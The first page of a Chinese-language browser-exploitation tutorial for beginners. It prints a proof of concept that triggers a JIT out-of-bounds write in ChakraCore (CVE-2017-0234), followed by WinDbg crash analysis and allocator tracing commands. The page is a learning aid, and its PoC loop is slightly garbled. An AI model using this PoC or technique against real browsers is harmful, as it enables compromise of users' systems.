欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Edge 零基础漏洞利用

来源:本站整理 作者:佚名 时间:2019-04-04 TAG: 我要投稿

背景阐述
自2007举办至今,在pwn2own的比赛中,浏览器一直是重头戏。观看比赛的同时,相信好多小伙伴已经跃跃欲试了。但你还记得有多少次信心满满,最后又都暂且搁置了呢?文章主要针对浏览器漏洞利用零基础的人群,笔者详细记录了在漏洞利用过程走过的一些坑与总结的技巧。最终达到在解决一些共有的痛点的同时,重新恢复大家漏洞利用的信心,毕竟哪位伟人曾经曰过:信心比黄金还宝贵。
 
文章目标
看着大佬的花式炫技,就是无从下手怎么办?眼看千遍,不如动手一遍。毕竟眼见为实,也更加有趣。勤动手操作,零基础在浏览器中稳定的弹出第一个计算器!
 
动手实战
这里以 CVE-2017-0234为例,ch 的版本为:v1.4.3。poc 文件如下:
function jitBlock(arr, index)
{  
    arr[index] = 0xdeedbeef;
}
var arr = new Uint32Array(0x40000/4)
for(var i=0; i0x10000; i++){
    jitBlock(arr, 0)
}
jitBlock(arr, 0x7fffffff)
windbg 中运行 poc 后,得到如下crash信息:

对比 js 文件与汇编,我们很容易发现 rbx 寄存器代表整个 typearray, r14 代表数组的索引。漏洞原因:jit 代码生成时,过度优化导致的数组越界访问。
 
背景知识
我们现在只知道这个洞可以越界写,那么怎么把这个洞利用起来呢?回答这个疑问,需要解决一些基础问题:
1. 漏洞对象的分配使用哪个分配器(VirtualAlloc、malloc、HeapAlloc、MemGC)?
2. 分配的大小是否任意值?
3. 漏洞对象分配由于内存对齐等原因,实际占有多大空间?
我们挨个解决上述问题。
1. 漏洞对象的分配使用哪个分配器(VirtualAlloc、malloc、HeapAlloc、MemGC)?
解决这个问题,方便我们决定用哪个对象把越界区域占住。
首先模糊匹配系统中有哪些 alloc 相关的api。
> x kernel32!virtual*
00007ff8`fc40b0d0 KERNEL32!VirtualQueryStub (no parameter info>)
00007ff8`fc40a2a0 KERNEL32!VirtualAllocStub (no parameter info>)
00007ff8`fc4273e0 KERNEL32!VirtualProtectExStub ()
00007ff8`fc40b0b0 KERNEL32!VirtualProtectStub (no parameter info>)
00007ff8`fc40ba70 KERNEL32!VirtualUnlockStub ()
00007ff8`fc4105b0 KERNEL32!VirtualAllocExNumaStub (no parameter info>)
00007ff8`fc40a2c0 KERNEL32!VirtualFreeStub ()
00007ff8`fc4273c0 KERNEL32!VirtualAllocExStub (no parameter info>)
00007ff8`fc40b0a0 KERNEL32!VirtualQueryExStub ()
00007ff8`fc4273d0 KERNEL32!VirtualFreeExStub (no parameter info>)
00007ff8`fc40ed20 KERNEL32!VirtualLockStub ()
把关键 api 的参数及返回值打印出来
> bu KERNELBASE!VirtualAlloc      ".if(@rdx>=0x40000){.printf "addr=%p size=%p\n ",rcx, rdx; gc} .else{gc}"
> bu KERNELBASE!VirtualAlloc+0x5a ".if(1==2){} .else{.printf "ret=%p \n",rax;gc}"
重新运行后,可以确定 arr 数组确实是由 VirtualAlloc 分配,有两处与之相关的分配记录,分配的地址相同,大小不一样,感兴趣的同学可以继续把 VirtualAlloc的其他参数打印出来。至于为什么同一个地址进行两次分配,这个问题我们放在后面统一释疑,目前只关注漏洞利用本身。

2. 分配的大小是否任意值?
要提高漏洞利用的成功率,首先需要确保漏洞的稳定复现。这里先使用结论,原因同上,释疑放在后面。
> bu chakracore!Js::JavascriptArrayBuffer::IsValidVirtualBufferLength
/*
  1. length >= 2^16
  2. length is power of 2 or (length > 2^24 and length is multiple of 2^24)
  3. length is a multiple of 4K
*/
分配的长度需要同时满足上述的条件,所以 len >= 2^(16+n) or > 2^(24+n)。 [这里 n 满足非负整数]
所以满足条件的最小len为 2^16 = 0x10000
3. 漏洞对象分配由于内存对齐,实际占有多大空间?
windbg 的 address 命令可以解决这个疑问。
000001c3`21cc00d2 42893cab        mov     dword ptr [rbx+r13*4],edi ds:000001c2`21c9fffc=????????
0:003> !address rbx
Usage:                 
Base Address:           000001c0`21ca0000
End Address:            000001c0`21cb0000
Region Size:            00000000`00010000 (  64.000 kB)
State:                  00001000          MEM_COMMIT
Protect:                00000004          PAGE_READWRITE
Type:                   00020000          MEM_PRIVATE

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载